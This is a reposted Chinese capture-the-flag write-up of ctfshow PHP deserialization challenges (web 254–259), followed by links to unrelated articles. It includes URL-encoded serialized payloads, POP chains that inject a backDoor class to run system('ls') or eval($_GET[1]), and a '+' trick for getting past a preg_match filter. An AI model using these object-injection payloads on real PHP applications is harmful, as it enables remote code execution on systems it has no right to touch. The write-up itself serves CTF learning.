ctfshow——反序列化

文章目录

  • web 254——啥也没
  • web 255——反序列化对变量进行赋值(1)
  • web 256——反序列化对变量进行赋值(2)
  • web 257——对象注入
  • web 258——对象注入(绕过preg_match)
  • web 259

web 254——啥也没

在这里插入图片描述
在这里插入图片描述
这里就是使用GET传输,username赋值为xxxxxx,password也1赋值为xxxxxx

web 255——反序列化对变量进行赋值(1)

在这里插入图片描述
在这里插入图片描述
代码会对user变量进行反序列化,因此只需要GET传输的变量username和变量password的值与user变量反序列化得到的usernamepassword相等,且反序列化后的isVip等于True就行。
首先对类ctfShowUser进行序列化,PHP序列化和反序列化
在这里插入图片描述
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D,注意需要对user的值进行URL编码。
在这里插入图片描述

web 256——反序列化对变量进行赋值(2)

在这里插入图片描述
在这里插入图片描述
以上一题相比,其实就是反序列化的类中的变量usernamepassword不要相等即可,注意GET传参时也要做修改。payload:

//url
?username=xxxxxx&password=123`//POST cookie
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22123%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web 257——对象注入

在这里插入图片描述
在这里插入图片描述
思路:主要还是利用backDoor类中的eval函数unserialize反序列化后,会自动调用__construct()魔术方法,让__construct()魔术方法直接$this->class=new backdoor(),然后销毁类ctfShowUser时,就会自动调用 backdoor中的getInfo函数,同时我们可以在序列化的时候赋值code=$code='system("ls");',这样就能执行系统命令了。

得到序列化数据payLoad:

class ctfShowUser{private $username='xxxxxx';private $password='xxxxxx';private $isVip=false;private $class = 'info';public function __construct(){$this->class=new backDoor();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}
}
class info{private $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{private $code='system("ls");'; //或者$code='eval($_GET[1]);',然后使用GET传参public function getInfo(){eval($this->code);}
}$ss=new ctfShowUser();
$content=serialize($ss);
echo (urlencode($content));//payload
?username=x&password=y
user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A13%3A%22system%28%22ls%22%29%3B%22%3B%7D%7D //COOkIE

注意使用urlencode进行url编码。

这样构造POP链也可以:

class ctfShowUser{public function __construct(){$this->class=new backDoor();}
}class backDoor{private $code='eval($_GET[1]);';public function getInfo(){eval($this->code);}
}$ss=new ctfShowUser();
$content=serialize($ss);
echo urlencode($content);//payload
??username=x&password=y&1=phpinfo();
user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A15%3A%22eval%28%24_GET%5B1%5D%29%3B%22%3B%7D%7D //COOKIE
  • 上述代码为何可以执行成功,目前不太清楚。
  • 在执行unserialize之后,会自动执行魔术方法,只有执行完魔术方法,才会执行后续代码。

web 258——对象注入(绕过preg_match)

在这里插入图片描述
在这里插入图片描述
这一题主要就是对序列化内容进行过滤,主要过滤[oc]:数字:,字母不区分大小写。绕过方法:在数字前面加一个+

class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public $class = 'info';public function __construct(){$this->class=new backDoor();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{public $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{public $code='eval($_GET[1]);';public function getInfo(){eval($this->code);}
}$content=serialize(new ctfShowUser());
$a=str_replace('O:', 'O:+',$content); //绕过preg_match
echo $a;
echo (urlencode($a));//payload
?username=x&password=y&1=phpinfo();
user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A15%3A%22eval%28%24_GET%5B1%5D%29%3B%22%3B%7D%7D //COOKIE

web 259

生成序列化时记得开启SoapClient拓展:php.ini中启用php_soap.dll
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/499027.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

gitlab+jenkins 搭建部署

为什么要搭建gitlab和jenkins? 开发人员在每次开发完或修改一个bug后都要手动合并,打包或者连接服务器执行打包部署,每次手动操作,极大的影响了开发人员的效率。 gitlab和jenkins组合起来,开发人员只需要进行推送或合并…

XSS简介及xsslabs第一关

XSS被称为跨站脚本攻击(Cross-site scripting),由于和CSS(CascadingStyle Sheets)重名,所以改为XSS。 XSS主要速于javascript语言完成恶意的攻击行为,因为javascript可非常灵活的操作html、css和浏览器 XSS就是指通过利用网页开发时留下的漏…

【git】入门

当我们设计文档时,我们会不断的修改文档,而设计的文档通过第一次修改,第二次修改,很难讲每次修改的版本维护起来,每个版本可以分为v1,v2 ,v3,v4如果需要哪个版本,我们可以直接查看。 随着版本的不断增多&am…

好物周刊#41:新一代截图神器

https://github.com/cunyu1943 村雨遥的好物周刊,记录每周看到的有价值的信息,主要针对计算机领域,每周五发布。 一、项目 1. LiteFlow 轻量,快速,稳定,可编排的组件式规则引擎 / 流程引擎。 拥有全新设…

数据卷dockerfile

目录 一、数据卷 1. 简介 2. 数据卷和数据卷容器 1. 数据卷: 2. 数据卷容器: 二、自定义镜像 1. 作用 2. 自定义centos 3. 自定义tomcat8 一、数据卷 1. 简介 数据卷是一个可供一个或多个容器使用的特殊目录,它将主机操作系统目录直…

sawForceDimensionSDK安装,sigma7+ros

force dimension的sdk中没有关于ros,借助开源的sawForceDimensionSDK实现对于数据的封装和可视化,方便后续使用 链接: GitHub - jhu-saw/sawForceDimensionSDK 具体步骤: 安装qt和ros,官网下载Force Dimension SDK …

【Godot4自学手册】第十八节主人公的血量显示

今天,我主要学习主人公的血量显示,在屏幕的左上角,会显示主人公的头像,后面会显示血量进度条,当主人公受到伤害时,血量会实时变动,显示绿色血条减少,后是红色血量逐渐减少到正确位置…

大环境不好,测试人员如何提高核心竞争力?

测试人员如何提升核心竞争力 作为一个测试工程师,自动化测试已经是必须要掌握的技能了。学习自动化测试有两个难点,除了其本身拥有一定的技术门槛之外,实战经验才是学习自动化测试的最大难点。部分初中级测试工程师往往在掌握了基本的编程与…

Unity 佳能SDK 及数据获取

1. 填写信息跟官方申请SDK,大概1-2个工作日会邮件回复你 佳能(中国)- 佳定制(佳能影像产品),SDK,EDSDK,CCAPI,软件开发包下载 2. 将SDK这两个文件放到 Unity Plugins文件夹 3. 把CameraControl 下面只要是绿色的 .cs 文件都复制到Unity 中

Linux之定时任务02

一、什么是crond Linux 中 crond 就是定时任务,即根据 crond 指定的时间,由系统按指定的时间,周期性,自动触发的事件。 crond 服务在默认的情况下会每分钟检查系统中是否有定时任务,如果有且符合触发条件,…

哈工大中文mistral介绍(Chinese-Mixtral-8x7B)

Chinese-Mixtral-8x7B基于Mistral发布的模型Mixtral-8x7B进行了中文扩词表增量预训练。扩充后的词表显著提高了模型对中文的编解码效率,并通过大规模开源语料对扩词表模型进行增量预训练,使模型具备了强大的中文生成和理解能力。 开源地址见https://gith…